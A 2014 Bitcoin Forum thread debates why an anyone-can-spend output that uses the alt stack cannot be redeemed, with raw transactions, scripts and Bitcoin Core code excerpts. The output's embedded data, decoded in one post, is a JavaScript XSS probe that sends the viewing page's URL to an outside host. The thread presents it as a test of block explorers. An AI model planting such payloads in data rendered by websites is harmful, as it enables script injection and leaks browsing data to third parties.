Bitcoin Forum

Bitcoin => Development & Technical Discussion => Topic started by: TimS on July 19, 2014, 10:17:43 PM



Title: Is this transaction spendable?
Post by: TimS on July 19, 2014, 10:17:43 PM
https://blockchain.info/tx/4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af has the following output:
Code:
OP_ADD OP_ADD OP_13 OP_EQUAL
OP_NOTIF OP_RETURN OP_ENDIF
OP_FROMALTSTACK
203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f687265663d27202b206c6f636174696f6e2e68726566202b2027273e27293b3c2f7363726970743e20
OP_DROP
I think this script should be able to spend it:
Code:
OP_TRUE OP_TOALTSTACK
2 5 6

Entering the scripts at http://webbtc.com/script seems to agree with me. I formed this transaction to spend it and another anyone-spend (https://blockchain.info/tx/ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660), but it's being rejected by Eligius (http://eligius.st/~wizkid057/newstats/pushtxn.php) (despite including a suitable tx fee).
Here it is in raw format
Code:
01000000026086d0c41c0cc79bbf888a74b324cd4c5f1111413899d6fb3daf62a6cb737dce010000000151ffffffffaf73ff160d0434f1d8da871552ba06b1c24af1e91b494b2f4cbe25457eb973430000000005516b525556ffffffff0100380200000000001976a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac00000000
And in Bitcoin Core's JSON encoding
Code:
{
    "txid": "30684e2958af4b5c87b316d54b1a1f011883d1287f3aea6ff2d058b179f1dae9",
    "version": 1,
    "locktime": 0,
    "vin": [
        {
            "txid": "ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660",
            "vout": 1,
            "scriptSig": {
                "asm": "1",
                "hex": "51"
            },
            "sequence": 4294967295
        },
        {
            "txid": "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af",
            "vout": 0,
            "scriptSig": {
                "asm": "1 OP_TOALTSTACK 2 5 6",
                "hex": "516b525556"
            },
            "sequence": 4294967295
        }
    ],
    "vout": [
        {
            "value": 0.00145408,
            "n": 0,
            "scriptPubKey": {
                "asm": "OP_DUP OP_HASH160 cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f2 OP_EQUALVERIFY OP_CHECKSIG",
                "hex": "76a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac",
                "reqSigs": 1,
                "type": "pubkeyhash",
                "addresses": [
                    "1KX1Xcnw3Ugzka9DxbCqT8iD73iPvpcPgu"
                ]
            }
        }
    ]
}

Is this transaction valid or invalid? If it's valid, why does Eligius reject it? Is there any pool that will take it? If it's invalid, why?


Title: Re: Is this transaction spendable?
Post by: theymos on July 20, 2014, 01:09:02 AM
I think that it's valid. Try paying a higher fee.


Title: Re: Is this transaction spendable?
Post by: TimS on July 20, 2014, 01:16:12 AM
I think that it's valid. Try paying a higher fee.

That's not it: even if I reduce the output to 0 so the fee is 0.00153600 BTC, Eligius rejects it with the same generic error:

Code:
Trying to send...
array(3) {
  ["result"]=>
  NULL
  ["error"]=>
  array(2) {
    ["code"]=>
    int(-22)
    ["message"]=>
    string(11) "TX rejected"
  }
  ["id"]=>
  string(1) "1"
}
Response = 0


Title: Re: Is this transaction spendable?
Post by: dontCAREhair on July 20, 2014, 01:25:55 AM
Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.


Title: Re: Is this transaction spendable?
Post by: rapport on July 20, 2014, 02:56:03 AM
OP did you create the tx that you are now trying to spend?  Testnet is better to help you avoid losing btc


Title: Re: Is this transaction spendable?
Post by: DeathAndTaxes on July 20, 2014, 03:09:21 AM
Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.

There is no such thing as an output address.  Outputs are scripts and blockchain.info is pretty bad at decoding all but the most basic and standardized scripts.


Title: Re: Is this transaction spendable?
Post by: amaclin on July 20, 2014, 05:06:00 AM
Eligius alerady contains spending tx in its memory-pool
Double-spending attempt causes generic -22 error

UPDATE: not confirmed.
Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.


Title: Re: Is this transaction spendable?
Post by: TimS on July 20, 2014, 12:31:52 PM
OP did you create the tx that you are now trying to spend?  Testnet is better to help you avoid losing btc
I'm aware of Testnet, though I've never bothered to do anything with it.
I created ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660, which is a simple anyone-spend script (it's zero-length) worth only 0.0001, see this thread talking about it: https://bitcointalk.org/index.php?topic=686214.0
After seeing this remained unspent for several days, I wondered if there were any other anyone-spends out there, and ran across this other tx that I'm trying to spend, worth ~1.4 mBTC=~$1. I did not create it, and I realize I'm spending more in time than I'll actually get as a reward for spending it to myself. Just doing it out of curiosity.
Eligius alerady contains spending tx in its memory-pool
Double-spending attempt causes generic -22 error

UPDATE: not confirmed.
Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.
Nope, not that easy: Eligius would've entered that into the blockchain by now, but both txouts are still unspent.

Does anyone know of a way to have Bitcoin Core try to validate the transaction? Maybe Eligius's validator doesn't implement the alt stack correctly.


Title: Re: Is this transaction spendable?
Post by: DeathAndTaxes on July 20, 2014, 04:02:18 PM
Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.


Title: Re: Is this transaction spendable?
Post by: TimS on July 20, 2014, 06:47:21 PM
Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.
I've tried various output/fee amounts (but without adding an extra input), including fees of 0.00008192, 0.0001, 0.0002, and 0.001536 (the whole amount). I'm pretty sure that I've met any tx fee and dust requirements Eligius might have, including all of the public rules at http://eligius.st/~gateway/faq-page.

I was the one that submitted https://blockchain.info/tx/ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660 to Eligius, which has a smaller total input than this transaction, and was accepted without an issue with a 0.0001 fee.

Also, this transaction is very small, at only 132 bytes, so anything that takes size as a factor should rank this very favorably.


Title: Re: Is this transaction spendable?
Post by: DeathAndTaxes on July 21, 2014, 04:45:33 PM
TimS,

I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius.  Unfortunately bitcoind lacks good tools for validating transactions.   Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't.  You may want to reach out to Eligius pool directly.


Title: Re: Is this transaction spendable?
Post by: amaclin on July 21, 2014, 05:51:12 PM
Quote
I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius.  Unfortunately bitcoind lacks good tools for validating transactions.   Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't.  You may want to reach out to Eligius pool directly.

There is no direct connection to Eligius from Internet. We can reach only the gate node.
68.168.105.168:8333 (I think that it is gate node) also ignores redeem tx.

It is possible to download, compile and debug Luke's version of bitcoin
https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:


Title: Re: Is this transaction spendable?
Post by: Yoghurt114 on July 21, 2014, 10:00:17 PM
In the code linked in the previous post, I found this (https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:src/script.cpp#L453):

Code:
                case OP_FROMALTSTACK:
                {
                    if (altstack.size() < 1)
                        return false;
                    stack.push_back(altstacktop(-1));
                    popstack(altstack);
                }
                break;

//Edit: Wrong


Title: Re: Is this transaction spendable?
Post by: Taras on July 22, 2014, 10:38:03 PM
The transaction has the following metadata:
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + '\'>');</script>
Interesting...


Title: Re: Is this transaction spendable?
Post by: TimS on July 22, 2014, 10:53:34 PM
The transaction has the following metadata:
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + '\'>');</script>
Interesting...
Yep, that site (http://trollbot.org/xss-blockchain-detector.php) (which appears safe to me) explains itself:
Quote
Since the blockchain is for transaction data, the above string [script tag] should do nothing. If this text is inserted into a page without escaping, then there is potentially a XSS issue. Since some sites that allow you to view the blockchain ALSO are wallets, the security ramifications of a hole like this could be very great.


Title: Re: Is this transaction spendable?
Post by: amaclin on July 23, 2014, 05:18:40 PM
Code:
bool VerifyScript(const CScript& scriptSig, const CScript& scriptPubKey, const CTransaction& txTo, unsigned int nIn,
                  unsigned int flags, int nHashType)
{
    vector<vector<unsigned char> > stack, stackCopy;
    if (!EvalScript(stack, scriptSig, txTo, nIn, flags, nHashType))
        return false;
    if (flags & SCRIPT_VERIFY_P2SH)
        stackCopy = stack;
    if (!EvalScript(stack, scriptPubKey, txTo, nIn, flags, nHashType))
        return false;

Evaluating scriptSig and scriptPubKey deal with the same stack (of course, the first one is pushing, second is checking)
But they use local altStack for calculations!!!
So, it is impossible to push value with scriptSig to altStack and pop it later when processing scriptPubKey.

This output is unspendable. Coins lost.


Title: Re: Is this transaction spendable?
Post by: rapport on July 24, 2014, 07:30:51 AM
Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used?


Title: Re: Is this transaction spendable?
Post by: amaclin on July 24, 2014, 07:59:27 AM
Quote
Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used?

It is not broken. It can be used in scriptSig and scriptPubKey for storing local values during evaluation.
But after evaluating scriptSig the contents of altstack are cleared.
The only way to pass values from scriptSig to scriptPubKey is stack not altstack.

I do not see any reason to change or even think about changing this behavior.
And I do not see any reason to use altstack right now.


Title: Re: Is this transaction spendable?
Post by: rapport on July 25, 2014, 08:26:30 AM
Good explanation, thanks!
PS  I think your English is good and better than what you probably think :)


Title: Re: Is this transaction spendable?
Post by: poisenrang on July 25, 2014, 08:12:57 PM
maybe its about the fees?


Title: Re: Is this transaction spendable?
Post by: rapport on July 26, 2014, 09:58:22 AM
maybe its about the fees?

amaclin has answered above


Title: Re: Is this transaction spendable?
Post by: poutine310 on July 29, 2014, 04:02:45 PM
I created this transaction and it is in fact unspendable due to the fact the alt stack does not persist from the scriptSig to the scriptPubKey. I'm glad it sparked some discussion though.


Title: Re: Is this transaction spendable?
Post by: Yoghurt114 on July 30, 2014, 02:32:22 PM
I'm curious though.

Can anyone think of a script that uses the altstack and can do something no other script can?


Title: Re: Is this transaction spendable?
Post by: DeathAndTaxes on July 30, 2014, 02:40:45 PM
I'm curious though.

Can anyone think of a script that uses the altstack and can do something no other script can?

An m of n PubKeyHash (as opposed to PubKey) multisig.  I haven't exhaustively tested it so there may be some clever solution I just didn't see but anything not involving altstack ends up being much longer and more complex.




Title: Re: Is this transaction spendable?
Post by: amaclin on July 30, 2014, 03:05:45 PM
Quote
Can anyone think of a script that uses the altstack and can do something no other script can?

Some algorithms will be much more shorter using the altStack.
For example this script is only 10 bytes long
Code:
OP_TOALTSTACK 
OP_TOALTSTACK
OP_TOALTSTACK
OP_HASH160
OP_FROMALTSTACK
OP_HASH160
OP_FROMALTSTACK
OP_HASH160
OP_FROMALTSTACK
OP_HASH160
and (I can be wrong, please correct me) replaces 4 values on the top of the stack with their hashes, leaving the original order.
Try to do the same without altStack in less than 10 bytes.

Update1: OK, may be it is possible to do with OP_2DUP and OP_2SWAP opcodes. You can try to find out your own examples for using altStack

Update2: Note, that bitcoin script language is not Turing-complete. Not all things are even possible with current opcode set


Title: Re: Is this transaction spendable?
Post by: TimS on July 30, 2014, 04:31:04 PM
I'm curious though.

Can anyone think of a script that uses the altstack and can do something no other script can?
I'm pretty sure that theoretically, there's nothing you can do with altstack that you can't without (given enough space). However, it can make some things simpler/shorter, and since there is a limit on the script size, that can make it quite useful.


Title: Re: Is this transaction spendable?
Post by: rollingMyCar on November 13, 2014, 08:35:47 PM
what is altstack????
do you have some tutorials?

thanks


Title: Re: Is this transaction spendable?
Post by: amaclin on November 13, 2014, 08:49:37 PM
what is altstack????
do you have some tutorials?

thanks

it is alternative/secondary stack
it is not used now for standard scripts
but the operations are valid


Title: Re: Is this transaction spendable?
Post by: rollingMyCar on November 15, 2014, 11:20:09 AM
what is altstack????
do you have some tutorials?

thanks

it is alternative/secondary stack
it is not used now for standard scripts
but the operations are valid

Where i can get more info a bout altstack?
Do you Have some docs or links?
Thanks!


Title: Re: Is this transaction spendable?
Post by: Muhammed Zakir on November 15, 2014, 02:12:16 PM
what is altstack????
do you have some tutorials?

thanks

it is alternative/secondary stack
it is not used now for standard scripts
but the operations are valid

Where i can get more info a bout altstack?
Do you Have some docs or links?
Thanks!

See https://bitcoin.org/en/developer-guide#p2pkh-script-validation

   ~~MZ~~